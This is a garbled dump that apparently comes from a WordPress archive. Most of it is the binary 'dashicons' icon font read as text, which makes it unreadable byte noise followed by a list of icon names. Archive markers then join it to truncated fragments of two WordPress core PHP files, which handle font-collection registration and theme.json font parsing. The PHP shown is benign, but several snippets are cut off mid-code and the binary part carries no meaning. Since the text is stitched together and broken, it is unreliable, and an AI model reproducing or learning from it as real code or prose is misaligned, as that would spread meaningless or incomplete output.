%rE#"E$!""$""!$g$+A$+#,B#* :H"2>4.6'&'&'&'&'>7&'&'>7'.'&7&7&'&'&'&'>j>>j}j>>jh  =.fA    3O" 6   >j}j>>j}j>L,"  # ) >O  P#.&Z+   '"&4?&>7264&"F 6& 2AJHJ &5 E2 JIJ@)"'&'&/&76272"'&/54>3 M F6 #"0S0""5  & &  B/"6@  @5!;&'764'&'764&"'&'7'7>/764&"'764&"'7676Y> .    :Z P.@    a b    >.P Z: "   1 =W ';O5!57>'.5!#'&'5>>.'.>767>'.>767>><4ELc2X 7 -S  R3 (!  A 6- 3Tl41C f  ` 7  a    7    !5!5!!5!Mf33f3f3%!!5!3f3 !5!5#%35#35#!5!MfMMMMf3g333 !5!5!!5!Mff3f3 7#735#35#͙f4̴33 %#'#3#34f4343 !5!35#5##35#!5!MfMMfMMf3333 !5!5!!5!333f3"P[%#"'&326764&7&76327>'672?6'&'54'.#3265>"7#"&54ISo\*h8-U%+' ( "#%, *+(Z  6%'  #  %4  M  #  ' #|  +!%%!!5!3"&46527#53#53#53!5!fg4M-@--:gggggg43fMMM --@-33g4gg !5!!%5#4f44M37'74f33fffg7'3f4'gf3!'7ff4f33fg'7f3Mg%'7Mge75!'7'733ff4f33fg?'73gg͙fge%#'7'4f33f33ffg%''73M?gfM3gM!-767676&'&7>76>76'&   /2o\ <%&@%) $(      A6:3:51*3/S!'-7?'7/'"&462'"&462'73%7'#r4;;43 ;; [*<.'>&5717'7&]2:3\m1$2 * (%TF'-KTF0 .\m>Ms\mc::$2-KTF'-&O2: {{R6 !53'33'33'!5!f@3@3@fg33(5BOk&'&'&'&''&"2?&'&%762'&4&4?62&4?62"7"&4?627.&'&"33264a!  % @ n % 3 Jn n *n nn nm ( $  $$ @ %% o 94 Ps q n* n nFq om * &  %!%265#754&'>7."!5.f{*""+33;#7    7%8' @@&5##5##"!54&#MfM f f4444 7!!"&5463!!"74&"26M -- M >  M3-4-Y3!"&546;#"3!3 --  g-4-9B354636332+"&=#"&=#"&="'"&=#546;5264&"3/ 3 - 3 3/M*  84  44  48  g - $5Bu7656&6&#"3276"2>4."&'.'&4>276&#"3>"767216327>&#"4?672632#"'&'32>4.s] -7_77_n_77_7(G4XhX44X- [&E  !8#,-2/N//Na*7%#}  ,+7_n_77_n_7s5hX44XhX4} ,$  v>{+" , /N^N/ &3<L_2".4>"2>4.2".4>">54&"264&34'&'&'!6'&'&'&'FuEEuuEEuFBpAAppAApB;d;;dvd;;di'!,\,,>,,N    666%  EuuEEuuE AppAAppA;dvd;;dvd;, 1 (,,>,,>,   655$ )Ok4'2674'2654&"26754&"264&'"&=#"&=276767>27>76767".= g ggf1(  (1* " *( * ! 0RbR0     Y  Y  Y  Y /?LL?/8    -o  M//M   #/G#"&46;&546;232!2#!"&46!2#!"&4632++"&547#"&46Z))4  $  >   M  ML-=AEIM4'&/2674'&/2654&+";26754&+";26'7?7?   -   - 3  3  3  3 33333333l    333343/'#'&'&6765.>27&'>7656" 3DC6 #)3- ,>- .5 )`J##K !? a;D;##;D;b@! 2!767676'7'7''70S* f$&__ : 3_X @ KG !n tGI hjNW`n{%"/'&'&'&5"&4?67&547>7#"&4635462354622+>7'264&"7"264&;264'&+"4&+";263264&+"3264&+"-?     ?-#!&  4  ' "" W ED L LYLL@- &  % -@ /: ":*   *:" :/d3  @ ;  3   -=&"2?>&"2?64"/"&4?624'&/;2  =   k  k.     "  =  k  k.   )"'&'7.'76767&327'267'#"'t+&T&+s9&?3 /1v3(#&@@&'R$$K$1 J ~,.- #'+/37;?3!!#53#53#53#53#53#53#53#53#53#53#53#53#53#53#53Mff33g44f3333g44f3333g44f3333g44f33ff3333M33333444443333333333333%.%54'&'&'&#'57'"32767"2>&  )+  !/2F>$' %4% 'O@ ,!MM!,  @{:N00P8''';676?4'&'&'7'"2>&R88/+''+))))$' %4% 'M$$M %>>%)):N00P8GK%&'&'#'7"776?54%267&'&72654'&'&'&'&"'7\\: ".))." %   % j g;;;6^\89HH6E !   '' ,!"3!26=4&#!"&=463!2f  f    !*3<EQZ^!"3!2654&"&462'"&462'"&462"&462'"&462'"&462"&=462'"&4627!5!      M   n!   f \W\W  Z  8WW +/37;?CGKOS3!3546235462#26=4&"26=4&"!7#5;#353#5;#353#5#53#53MfMf    ff3f44g33f44g3344f33@@@@z4444433333333333+/37;3!3546235462#26=4&"26=4&"5!75#35#35#MfM f     ff343g@@@@32#!"&546;73264&"K  j  KMf3*<"264&@  \).@"'8 %2$R$2%  B#! d"36&!%%%%#$  MO7767676'&'6>'&'&/67676&&'&&'&'&''&'3NFKM      $#   !+$ $,( '%("35 !     9     - -( 'H;A"+732#!"&5#"&46;2!#2"&4632"&46  3  M Lf     3g     !!3#3Mf4MM4&/8%>54&"&"'654&"2"&462"&462"&46 * j 6* L   3; '  M %####5#g3f3g3f 1!7&54626327&546327"&='#"' ~l % \ 1U ) R     52'3".4>1R0ʹ1RaS00S0R10S00SaR1-6:>BFJ76"/&4?627&76765.#&#"&4627'7'7'7'71# $~  S$  $B  ~ $2".4>2>4."7/18^77^p^77^8*F**FTF**FsM7^p^77^p^7*FTF**FTF*6R{{  654&#"&#"3!264&'77{<*1  &#,5$%5/R$.a$ *= % 2"$66F4Q$.b$!654&#"&#";5#7#3264&{<*1  &#,5$ZMssLY%5/ *= % 2"$6MssM6F44654&#"&#"3!264&}<*1 &#,5$%5-*=% 2"$66G3$IRx54&'>=46;5#"#2;5#"&&'&'6'.'&765&%"&46274654&+32+32654&4635"&      . .$'S d,    +<76?'5/.   , \./5 ,   \73#3#M͙%7'3]]]]55]]4]]733#MfMMf44 5!5557!'73gg3ggMM&3ML3M&3ML3 7''#37333=\\\{{3{{ 7553#5͚33]4]]{{{{37'#3ggMff&E37'#%#"'&67367654'&'.>##"'&>76764'&'.>33ggE       '       Mff #^#   #6'  (   *  8<!2#!&546!%47676763#!"&=27676762!!8  p     $ 4  ) g   g    3 (09BK7!>54."2"&462"&4632"&467"&4'2"&46!2"&464&"26`@7^p^7 [  V*g > ufB#8^77^8#B4u+7M 0CO264&"7533##5#5467#"".52>=7#".52>=#"'3.'.5f+<=7#".52>=#"'3.'.53264&"7##5#1R0W\1R00RbR00R.1R00RbR0!, \A[0R+<=#"".52>='3.'.53264&"7533'1R0W.1R00RbR0!, \1R00RbR00R1A[0R+<=#"'3.'.5".52>=f+<=#"".52>='3.'.53264&"'7'1R0W.1R00RbR0!, \1R00RbR00R1A[0R+< .?2>4."".52>='".52>='".52>=1R00RbR00R11R00RbR00R11R00RbR00R11R00RbR00RfM  MfM MgMM!$!2+32!546;5#"&5465!73Mf  3  3 X 4  4  紴f 2".4>'7''78^77^p^77^MM3MM3MM3MM7^p^77^p^7MM3MM3MM3MM35!353'35g34MM͚40&'.767676?>327&67626&  JA)   7* !@$7    @ 377/7676!"!$T  $ !!"!$+T  $ #!5#'.#3576&?f3d! g@q)3C!͚f @q) ?677'dE ͏=gE P 5#5!5#5!f33f33g33f33 5#5!5#5!3ff33f33g33f33 5#5!5#5!f33f33g33f3332654&'5>54&#532#32+t5=;C#')8+3-!&',)J'8*3!'733怀MgfM '77'7ffMfffff4ff47'7#7!75#35'!'3:: f `f` f :: f `` fS`` g 99 g `f` g 99 g$235#67654&"#35&'&'&54613*^%UT%] 3v751#33"'/DOPC/'!33 !157 3#3'735'75!#7'g8aga8";aga;3ffa9Gf9aG!_9ff9_ %.4."2>'#5467>4&#"'632&462"0RbR00RbR0(   !%%&1R00RbR00R   ! O "53753355#%53535335353Mff3ff3泳fM33M3ZY3333M44L33M33 5!5#35#35#5!MMfMMMffg444444ff #3#737#73z6H66H6f334 !!!!!!!!3ffff3334333 #'+/37;?!55!7#53#53#53#53#5!55!7#53#53#53#5#5!#53#54fM33433f4fM334̀33͚ffM4444444444ͳ33333333L444444!$#";2654622653264&7M 55  5?5  3   Mgf#S\`dh6235#767654'&/&""#6򥊢'&#"632632+32#"'"'26542735#35#35#35#)H,  1        '3! )       #Of ' (,RV5#?73#5#5767>4.">273#4&#">32+32#"&'32654&'5>3#! I ,    f!      !Mf  E3   2K   "5#5##553%5#5#5##5#5#ff3ff3泳fM3333ZY3333M44L33M33!#";2654622653264& 55  5@5  3   M$,!57264&"732#!"&546;!55#335=CD< '   '44L4MMM  3 <<44$1!57264&"4&+!57#"3!26'#'#'3737=CD<  ''  f M335134MMM3 <= ش'74'&'&&67'32674'&'&&67'326 -##;#)2%!+ -##;#)1& +F24;C/7'!F24;C/7'$"/&=4?62764/&"2n-9-7768677!$#";2654622653264&5M 55  5?5  3   Mf/7=EK27&"3275#"&463'#373732654&'5>54&#532##76732+7''  -"$! 9:;67  n,df $&)8+o @+  ( $  MNAGORZ%267#"'&'#+5##'##7#53733532367>2.#"3#%3/73>4&#1#3+3264  !7$:".- ! .   KK p k,1 @@++@@@@      U* D+  %!!5!#53#53#53#53fg4Mf3444333 %3#373'#7S0i4f0k R&M'} "&"&46273#"&46273#"&46273# 0@ 0@ 0M  3  3  3g#"'&=#27655#f3$63y%'#- ''-33!58;>'?64&"'6?>'3''7.6?27'#'7'' 6+' .= '99͚4f3ͽ#89+$<'!-͚4f399' *'. ?7 'Agf3<$+98#(-!gf3 #'+/37;?CGK##5#3533#5!#5#5#5!#5#5!#5#5!#5#5#5!#5#5!#5#5!#5MMMMf33334"&462%"264&#"264&**3*******-%54&#!"3!26'"/'"'&?'.7676g!hd p67p dh  `h_11_h`  7%>=4&'&7>7>4  {.z.Ks :  !2#!"=47>.'&cS000ڬ  ....ݎcc#)!"3!26=4&#"&463253'757'5fM* ff&&LL&&MMg+n&'&MM&'&'M!"3!26=4&'757'5fb&&LL&&M&'&MM&'&'M$-!"3!26=4&#53'757'5'5'7264&"fȳf&&LL&&M.4 ͙s&'&MM&'&'M@&.>-39!"3!26=4&'&76?'76?>'7&'757'5f ! !  M &&LL&&M " "   J0&'&MM&'&'M#!"3!26=4&'#537'757'5f33f&&LL&&M$1."g&'&MM&'&'M%)%4&#!"3!262"&46!!52"&46!!5 f    W4 W3  f 3#35#7'7'M33ffn$$n33f4n$$n3'5'7#57!3#3$h334fO$M33o73537#5476;5&#"#3K> H & *3??3I. A3-6I$!2+537#546;5&#"#3#"&546Jl h5=  %+55  >'8+'-> l #!2#!"&5465!735335353353  f MM  f MMfMM576762'./5M!!.T.!!! 337#7567'&'&'&3M#.1+#+51&3 $0C"#54&"#54&"26=>=4&3265""26=>'4&  - -%& @@ @@ T  T  ,2#(  (#2 !!!5!55#7#̙L44͙̀gf%6"&46325#"&4632546 4J55%3"%44%3 %55J4 3 ,4J5 &#"5#"&=46;232+'#"&=46#M33Mf$/MMfLL&BK32#!"&=#"&5463!2!!4&"2667676763#52767632#+2  2  K   3      2 K  @ c ͚      >!2#!"&546!4&"2647676763#!"&=2176767632:t**M       tgf+k "  3    )74'&'&&67'32674'&'&&67'326 5)*+#& ;+'2 5)),"& :+'2!%R:"&-2lA-'!%R:"&-2lA- '092"'&476264&"3264&"3264&"2"&462"&46}90099009     = 0))00))0        3  !2%46373#37#37#3!73 4q43M333M f MMMMMMMgf #&),/3#7357#53%'7'35#!#53#57#7'533&M̀&''@'M3&'M''Z&@&Mͳ@&@'MM'& '''g'&&'M@& #77'77535''3'7.E'H.H'E.s'E+.E..H̀.H'E..E'E+'E..HE+.E 357''375#!#77'W$H..H$H.H$H.f.H$H$H..$H$H.H$H..H$H+4=.+"76767627>'&##5#53533"&4627"&462 (( '&   1 s+85W      W58.& *   #3'.'&>727.#"32>5'&pA(2E9",#;H&7^88^7:Z1&L(1E2";$87_n_73[:!2#!"&5465#!5#5#!5#3  f f3f f   ̙͙ !-;J2>."2>."2>."76&"26'"&/&63272"'76'&'6 " "n     1j2 '  " *- -* " **#)$$$$n/88/n &6a ](//(] `7&'7&'"/&47%&'6$Y$v;Vi?^$W$!x%  " #5#3533@@@@M%6767>'&".#&=1,%:11:%3,1J+)1/U..V_)+&<@&"&#764&'677&6762&'+6267>7.26 >**I{",+ E"1/Im    !i< ?q$  rf*<>J? (+ H !.BK8  ;  39;3 f<)%#&'&'67673264&#!";#"3!264& 0.   0.   f6 ''!56 ''!5 #)/575##5335335#53#353373#5##'#3#533'77'7f333$_!3#&L3;;YY.;;YYf4433ggWWP@@Pf:;ZY;:YZ #<@DHL%!!>?6.#"275#5#'"276?54.#5#5#5!5!f  рW#  MMMM43     C3/  4L48<@D%!!>?6.#"25#'"276?54.#5#5#5!f   #  瀀f4t      ff  533%##5#5#535337'#35fMffMMMfgfMffMffLMgf4&"26>.>.f4.#"5>@529925@4.".4>244  ?j==j~j==j?1R00RbR00Rff=j~j==j~j=g0RbR00RbR0 2".4>4&"265#8^77^p^77^R47^p^77^p^7g ܚ %)73535#5##32>4."2".4>!5!4334331R00RbR00R1#;"";F;"";f333330RcR00RcR04";G:"":G;"3 %)##33535#'"2>4.".4>2!54334331R00RbR00R1#;"";F;"";f3333330RcR00RcR0";G:"":G;"33 %"2>4.".4>2##33535#?j==j~j==j?1R00RbR00R4LL4LL=j~j==j~j=g0RbR00RbR0L4LL4G_4&"267"&4627"&462'"#"#;276767676=4'.'&'&#+"'.=4676;2E(:((:($=X==X= %" #%%#  #%!"63%*.3%((:((,==X==B 1  "% %"  #$%#T3%!!--!!- !2#!"&546!!'#5!3!26Mf  Y4Mf4     3ͳf  3#3#73#3#!!3ggfgg?7M4gge 22+"&=4&/&'&54>53++"&5#"&'B'   f   'B&  3  &B'    'B&j   "73#7"264&5#3547>354'&'&@MM&'LL*M!<3~&&+1 %)26?C7!2654&#!"2"&46!!52"&46!!52"&46!!52"&46!!53  f = W4 W4 W4 W   f 33f33g33f33 %7>54&"72"&467'57M&5% 2>4."8^77^p^77^8#;"";F;"";7^p^77^p^7";F;"";F;"  %.!3'7'7'726'&/72"&463gMMf...M...M...' 3  ggM 3  4  3 f  =   '!3'54&#&+"276=7&3263gMMm M  ggM WU;  !'7'37'3g̀33MMfMM33g34MLLM43!3'3gMMggM  #'!353'355!355#'355!5#3gMMfffgMM3MMMML4#!3'5#3373/"&4627#5#53gMM3LM vMMggM癙4444L444M  $(,048<@!5#5#35#35#5#35#35#5#35#35#5#35#35#5#35#3g̴MM4MfM4MfM4MfM4MfM4ggMM33334 !353'355!5!5!5#3gMMfgMM3M333!3'54&+";2653gMM M  M L3ggML  L 3(;O#"++"&7'#'&'.76?>76#67654'&'.'6&'&'&7>9M  ,&:  !!  !  h2! 9 #343   *(n   7!5!!5!!5Mfff4444 7!5!5!5!5!3334 5!5!5!MMMMMM 7!5!5!5!5!Mfff3334 /54&"26732+"&46;5.54622654623**gI73   36J4&'&'"2>4.".4>2        &7_77_n_77_70Q00Q`Q00Q   $$   "' 7_n_77_n_70Q`Q00Q`Q0&;IR!#4&#"&#"!72>?6.#"54.#'"26?2"'654&'>462"&1"(    p ! e))9 #x%%"1      ):)Y%5#3'35#'735#7#35ffLffLffffLffLffLffffLffLffffL26?HP54&+";26'2"&4654&++"&=#"3!26'!54&"2674&"2627"&3 4  4 3 MDM4  M  &~&:N:M  M X4  U%32+"&=46;5#32+"&=46;5#32+"&=46;546;5#"&=46;2+32  f    f    f    f   L  L 33 L  L 33 L  L 33 L  L 3 ''7'77[[$[Z%[[%Z[[[[$[[%ZZ%[[ ''7'776[7Z[6[[6[[6Z7[[6[[6[[7'#7! 3'3M3f4<E267632&"632.#"#476767&#"67632&'&#">4&"26   *g!25!*/,/RD#(, #L   $1+& )A F@ZC=6)%25' # >&/.6?>"&4?64&"6?64&''&'&67676?@~0 ~~~  0,  1BBBB ?~0  @, ",2:7#3264&#!+#532+5327#3##535!533#3264&M.i$$_3&&Mf  3fffff4 *3<E7!654."7462"&462"&67671"&4462"&7462"&7462"&`@-7^p^7tN&%%'- }M8H7^88^7H ) L (LN  -   -9J27654'&#"#27654'&#"7"327654&4&#"3267"32623254.1  P   "#R9&&42+&9)'P55-A!!A- -8'&6?6767'&'776?67676''&76?>5  M  gq  :`  /p A   M f N  q.  BY  q)  A   M  ="6?4'&67632#&=674&1676?32>4.6(&' !37#    '>"+IE(5 P!,+" 0"{'2,$ *FSC& )-15!5!5#%&#"26757&#"26=4&5#5#( * gg33f33g443u)Y)33f33 "&5!5!5#732+"&=467'5#5#gg  XUUggg33f33g444  43M33f33"676.5&'&'&7676.76&%2?3276?'\O.O y=:6EN/A O.O   a }O.Ou`02 >EN3F O/R# b    .>535#5##3)QllQQllFggLgg(llQQllQgLggLg ##5#53534444 ##5#5353MMMMM;%'&4632>54&"264.264/.>676&Ri   .B.i#"YXD"ii0BA! i   /.Ci !CZY!iiBA0 \% 4}7C#"767>;'&+"#76;2#!26?6&+54&+"#"%#7676;2fR ( T tf7  + R aq ,=p:  di < #  % $ g15.5462264&"f+! !+264&"3276?z"11" ."!!0!R S 0E1%'"/"" S S #'+/%#3#3'#37#5!#";!5326=4&#535#53#533MMM33  33 Y4MMgg  fM  8"3'656&'"35.'>75+"&=46;5>232  ! EbOObM  (6(    $$ n '' UMMTTM  g '&&' $+3!354>32632!35471"54'354f";##;"3 -- M433#;" ";#33*#-S3 -#*3l"33" 5##537353'#5#'735gfM3M3gffL33338.3L38.33-6FO%4&"264&#"'#""&"32>=>462"&'"'&762776'"&462<<C GB6 & 0RbR0 (%*#!" 'a  n'% ":"":"  G,355#";#".4>̀*==**F**FMgfM4.".4>2'35?j==j~j==j?1R00RbR00R=j~j==j~j=g0RbR00RbR0445%"#4'723264&">54&"3267332656&'l %%5&#,A,<*. x(.-&5%% l' ,, 'x/+<- , !%34'&'&#234.#2264&"~O87\`oZMK,-OI}I'E7 - 3m^\57M,,ILYH{GM6E%, ,y'7H$lxH$k !!537535353!533533fg3f3gfgggff333MggMM 5#!5#5#!5#f4f͙ ).'&/&'&'.>64&"27#     ([!6HI 5J44J$c)    % !IH6K44K4$-R&'.'&#537>764&"26&>7>75673#'.     vD  "''" U&4&&4&     vD  !''! l    L{&&4&&R    L 5>75!57!3#̀:$0%[S3F+N3fL ,ENN3) '"%2"&547'"&4627&5462"'6s --@-pB--Ap-@--Aqq-@-- ;-@-; --@-;  ;!3'&'&'&'&'&'&'&52767$#.!6  @@   ~\C+  !%).3 !83'&'&'&'&'&'&'&5276737676765'&'&'#$#.!6  @@ #'(   ~\C+  !%).3  # #$  7#535#33#3#344gg6^6R44g4f444g 75!%53735;#'5#5#34433MgM3332+"&546#73  ff  f {,2'&#"1&54632'&#"1&546267'"&'  7Gu"bxb"u{    SD 8FF8 DSM!3!'LM #*14."2>%'>&'7"&4627.'677^p^77^p^7& `1 ` &1*` &1& `18^77^p^77^` &1P& `1**& `1?` &1 0B"2>4.'."'46767"#3'.&'&76'&'&.6767_77_n_77_( )^, 2g/ .j5  :y40HC3 ;IS6 7_n_77_n_7    /   5! 7'7/'7'7MiiM=4&WXAB' &BB  BB& ' D276527652765276='!35335&'&'&5"&'&5"&'&5....MfMf //                 !7'7'?M͡,,$11$Md1$+.!73%#?'73>'5'3J@d&H>(25S,.,MMNAv.$Mg9M  %535#5##3!#3#3#3!!h^^,__ H'].]].]5b!b!bh  #33535#5!!!#3#3#3^^,__ '].]].]5hb!b!b  #/75'7'!%#5'#5'#3753753''7'77!! PT'SP(PR'RP !! F!5B..h<;;+PS'SQ'PR(RP  %#5##3353!#37#37#3!!bJ$JJ$J 5JJ"JJ5bbbbb  33535#5##!%35#35#!!#3J$JJ$J 5˄[JJ"JJ5Bbbbb  #%'7''7!'#'35#735!3#3#!PQ'RP'RT'TP` !-. 5 !PR'RQ&RT'TQ~5!b!bb!b!b!2#!"&546!3f4  $  f 4 3'%264&"L+ͳf++  #'!5!#5#5!!5#5!#5#5!#53#53#5̳fg3fffffMMMMf3333M!2+5#"&=46!!!!#3f4/4M334 !#537#535#535#53Mf34333 !5!5!#5#5!#5!5fgf33f3333g3333f33"7"'1.?64&+"&5471676;#%#53  M 36N 333 F   t  !21;2+53>7>3#F  M 6N33 FVT  t  "4Q_5&%7>&'776&/&326'/.?>323!52645;26=546;+"&&~'# #  ##  fI     ]I''HH('I` F ` F FaF` ML*N f  -f H1 <BJQiy1&%7>&'76.6'#&176/&726/>67.76?'"'&'3!52645265'3'72&#647.77?7#"&~'%OM%OM3"   ' .`  q6 %* U5fm7&'3' I=+Hs4sRQ  #/0 # ?6M E3ffK277#     $132!546;>23."!+"&'3M  M%.%bMk    X   337375#5#5!#3'#3ER..K#@g8O.@$$g$$C));33Cddd%#"=3264&+54&"3265.d!!!-: ! M-66 !!0#"'327.'327.=.47&54632676 :@RNB A30  !* #e:7'$   @<@%**($4"  )2,4 '7"#5532+32>4.3*==**F**FMgfM'2"&46476?'&'1'&7671'&'&>i~i>>i~i> ,2,,2,"  %  "?i>>i~i>>i  y 7>'8D"#$(#j54 /2"&46476?'&'1'&7671'&'& ,2,,2,"  %  "  y 7>'8D"#$(#j54 +54&"#46232#!"&=463'>54&"3*3327.#"#?3#"&'32>73>(.+F(,L25YZZ; <(.+F(,L25&33(F+gg3g'21 (F+#23'3.#"'>".'#7#3267-L26ZZ< >(0+F,M26ZZ< >(0+F(G+ff'22 (G+ff'22 75#7#5#!5#MM4444͚+4A%4&#!"3!26'!!!2#3#3#!"&5464&"26'"&5467  f f    7'&'62"&4"&'672>=4&')EG:+")@>:)  ;i!/I/90 I/!i :9*!6 : (  @ 92B'1/$B29 2".4>7#64&"28^77^p^77^U L 8 $#7^p^77^p^7V  5#5##!5357##5#53533M433MM3333333!2+5#"&=46'7''73M@@@@@@@@@@@@@@@@ '#'%%"264&7&#".#"67 3 &   1QQ1 L$gg  9&.0''0.&#+%4&#!"3!26'2"&'>4&"263!5353  f +O OVO O^**3MM̚  ($%((%$(L+ (,09=AJN%4&#!"3!26!!7353353352"&46;#73#'2"&46;#7352"&46;#   MMMM ,ff ,ffM ,fffM  >gM333333  M  333   !!7627'$n.$$n.%6@.7327>&#'&'&'&'476;2767>am_2L45<2/1S ?*  ) n/1:am/Mam >' !   AMSY4."2>'7>&##'>32&1'2?>&#"'1&305676'.547#"'EvvEEuvEWe;,P   N &!=4:FB"#EvEEvuEEvD /8   '7W '2;?jpC2*  MW]c4."2>2".4>'726&#+>32&1'2?26&#"/"3?676'%.54#"'EuuEEuuE?i>>i~i>>i N Z5'H   EpC7a3?; FuEEuuEEu,>i~i>>i~i> *2  #1N ,n_d<.O %&+"3;2?6'&+";26/;)@: @: @AT ;Rq En p rs "2>4.#'778^77^p^77^H"S"B"7^p^77^p^7t >#'7|""S"Bt =&'&'&"7276765455-$QP 5-$QPx =v=9?;M     " - +6 a t      V &6dashiconsRegulardashiconsdashiconsVersion 1.0dashiconsGenerated by svg2ttf from Fontello project.http://fontello.comdashiconsRegulardashiconsdashiconsVersion 1.0dashiconsGenerated by svg2ttf from Fontello project.http://fontello.comT      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUadmin-appearanceadmin-collapseadmin-commentsadmin-customizer admin-generic admin-home admin-links admin-mediaadmin-multisite admin-network admin-page admin-plugins admin-postadmin-settingsadmin-site-altadmin-site-alt2admin-site-alt3 admin-site admin-tools admin-usersairplanealbum align-centeralign-full-width align-left align-nonealign-pull-leftalign-pull-right align-right align-wideamazon analyticsarchivearrow-down-altarrow-down-alt2 arrow-downarrow-left-altarrow-left-alt2 arrow-leftarrow-right-altarrow-right-alt2 arrow-right arrow-up-alt arrow-up-alt2arrow-up-duplicatearrow-upartawardsbackupbankbeerbell block-defaultbook-altbookbuddicons-activitybuddicons-bbpress-logobuddicons-buddypress-logobuddicons-communitybuddicons-forumsbuddicons-friendsbuddicons-groups buddicons-pmbuddicons-repliesbuddicons-topicsbuddicons-trackingbuilding businessmanbusinessperson businesswomanbutton calculator calendar-altcalendar camera-altcameracarcarrotcartcategory chart-area chart-bar chart-line chart-pie clipboardclock cloud-saved cloud-uploadcloudcode-standardscoffee color-pickercolumns controls-backcontrols-forwardcontrols-pause controls-playcontrols-repeatcontrols-skipbackcontrols-skipforwardcontrols-volumeoffcontrols-volumeon cover-image dashboard database-adddatabase-exportdatabase-importdatabase-remove database-viewdatabasedesktopdismissdownload drumstick edit-large edit-pageediteditor-aligncentereditor-alignlefteditor-alignright editor-bold editor-breakeditor-code-duplicateeditor-contracteditor-customchar editor-expand editor-help editor-indenteditor-insertmore editor-italiceditor-justifyeditor-kitchensink editor-ltr editor-ol-rtl editor-oleditor-outdenteditor-paragrapheditor-paste-texteditor-paste-word editor-quoteeditor-removeformatting editor-rtleditor-spellcheckeditor-strikethrough editor-tableeditor-textcolor editor-uleditor-underline editor-unlink editor-videoellipsis email-alt email-alt2email embed-audio embed-generic embed-photo embed-post embed-video excerpt-viewexitexternal facebook-altfacebookfeedbackfilterflagfood format-aside format-audio format-chatformat-gallery format-image format-quote format-status format-videoformsfullscreen-altfullscreen-exit-altgamesgoogle grid-viewgroupshammerheadinghearthidden hourglasshtmlid-altid image-crop image-filterimage-flip-horizontalimage-flip-verticalimage-rotate-leftimage-rotate-right image-rotate images-alt images-alt2 index-card info-outlineinfo insert-after insert-beforeinsert instagramlaptoplayout leftright lightbulblinkedin list-view location-altlocationlock-duplicatemarker media-archive media-audio media-code media-defaultmedia-documentmedia-interactivemedia-spreadsheet media-text media-video megaphonemenu-alt menu-alt2 menu-alt3menu microphonemigrateminus money-altmoneymovenametag networkingno-altno open-folderpalmtree paperclippdf performancepetsphone pinterestplaylist-audioplaylist-videoplugins-checkedplus-alt plus-alt2pluspodio portfolio post-status pressthisprinterprivacyproducts randomizeredditredoremoverest-apirsssavedschedule screenoptionssearch share-alt share-alt2share shield-altshield shortcodeslides smartphonesmileysortsosspotify star-empty star-filled star-halfstickystore superhero-alt superherotable-col-aftertable-col-beforetable-col-deletetable-row-aftertable-row-beforetable-row-deletetablettagtagcloud testimonial text-pagetext thumbs-down thumbs-up tickets-altticketstide translationtrashtwitch twitter-alttwitterundouniversal-access-altuniversal-accessunlock update-altupdateuploadvault video-alt video-alt2 video-alt3 visibilitywarningwelcome-add-pagewelcome-commentswelcome-learn-morewelcome-view-sitewelcome-widgets-menuswelcome-write-blogwhatsapp wordpress-alt wordpressxingyes-altyesyoutubePK#[ class-wp-font-library.phpnu[is_collection_registered( $new_collection->slug ) ) { $error_message = sprintf( /* translators: %s: Font collection slug. */ __( 'Font collection with slug: "%s" is already registered.' ), $new_collection->slug ); _doing_it_wrong( __METHOD__, $error_message, '6.5.0' ); return new WP_Error( 'font_collection_registration_error', $error_message ); } $this->collections[ $new_collection->slug ] = $new_collection; return $new_collection; } /** * Unregisters a previously registered font collection. * * @since 6.5.0 * * @param string $slug Font collection slug. * @return bool True if the font collection was unregistered successfully and false otherwise. */ public function unregister_font_collection( string $slug ) { if ( ! $this->is_collection_registered( $slug ) ) { _doing_it_wrong( __METHOD__, /* translators: %s: Font collection slug. */ sprintf( __( 'Font collection "%s" not found.' ), $slug ), '6.5.0' ); return false; } unset( $this->collections[ $slug ] ); return true; } /** * Checks if a font collection is registered. * * @since 6.5.0 * * @param string $slug Font collection slug. * @return bool True if the font collection is registered and false otherwise. */ private function is_collection_registered( string $slug ) { return array_key_exists( $slug, $this->collections ); } /** * Gets all the font collections available. * * @since 6.5.0 * * @return array List of font collections. */ public function get_font_collections() { return $this->collections; } /** * Gets a font collection. * * @since 6.5.0 * * @param string $slug Font collection slug. * @return WP_Font_Collection|null Font collection object, or null if the font collection doesn't exist. */ public function get_font_collection( string $slug ) { if ( $this->is_collection_registered( $slug ) ) { return $this->collections[ $slug ]; } return null; } /** * Utility method to retrieve the main instance of the class. * * The instance will be created if it does not exist yet. * * @since 6.5.0 * * @return WP_Font_Library The main instance. */ public static function get_instance() { if ( null === self::$instance ) { self::$instance = new self(); } return self::$instance; } } PK#[=class-wp-font-face-resolver.phpnu[ array( 'fontFamilies' => array( 'theme' => $fonts, ), ), ); return static::parse_settings( $settings ); } /** * Parse theme.json settings to extract font definitions with variations grouped by font-family. * * @since 6.4.0 * * @param array $settings Font settings to parse. * @return array Returns an array of fonts, grouped by font-family. */ private static function parse_settings( array $settings ) { $fonts = array(); foreach ( $settings['typography']['fontFamilies'] as $font_families ) { foreach ( $font_families as $definition ) { // Skip if "fontFace" is not defined, meaning there are no variations. if ( empty( $definition['fontFace'] ) ) { continue; } // Skip if "fontFamily" is not defined. if ( empty( $definition['fontFamily'] ) ) { continue; } $font_family_name = static::maybe_parse_name_from_comma_separated_list( $definition['fontFamily'] ); // Skip if no font family is defined. if ( empty( $font_family_name ) ) { continue; } $fonts[] = static::convert_font_face_properties( $definition['fontFace'], $font_family_name ); } } return $fonts; } /** * Parse font-family name from comma-separated lists. * * If the given `fontFamily` is a comma-separated lists (example: "Inter, sans-serif" ), * parse and return the fist font from the list. * * @since 6.4.0 * * @param string $font_family Font family `fontFamily' to parse. * @return string Font-family name. */ private static function maybe_parse_name_from_comma_separated_list( $font_family ) { if ( str_contains( $font_family, ',' ) ) { $font_family = explode( ',', $font_family )[0]; } return trim( $font_family, "\"'" ); } /** * Converts font-face properties from theme.json format. * * @since 6.4.0 * * @param array $font_face_definition The font-face definitions to convert. * @param string $font_family_property The value to store in the font-face font-family property. * @return array Converted font-face properties. */ private static function convert_font_face_properties( array $font_face_definition, $font_family_property ) { $converted_font_faces = array(); foreach ( $font_face_definition as $font_face ) { // Add the font-family property to the font-face. $font_face['font-family'] = $font_family_property; // Converts the "file:./" src placeholder into a theme font file URI. if ( ! empty( $font_face['src'] ) ) { $font_face['src'] = static::to_theme_file_uri( (array) $font_face['src'] ); } // Convert camelCase properties into kebab-case. $font_face = static::to_kebab_case( $font_face 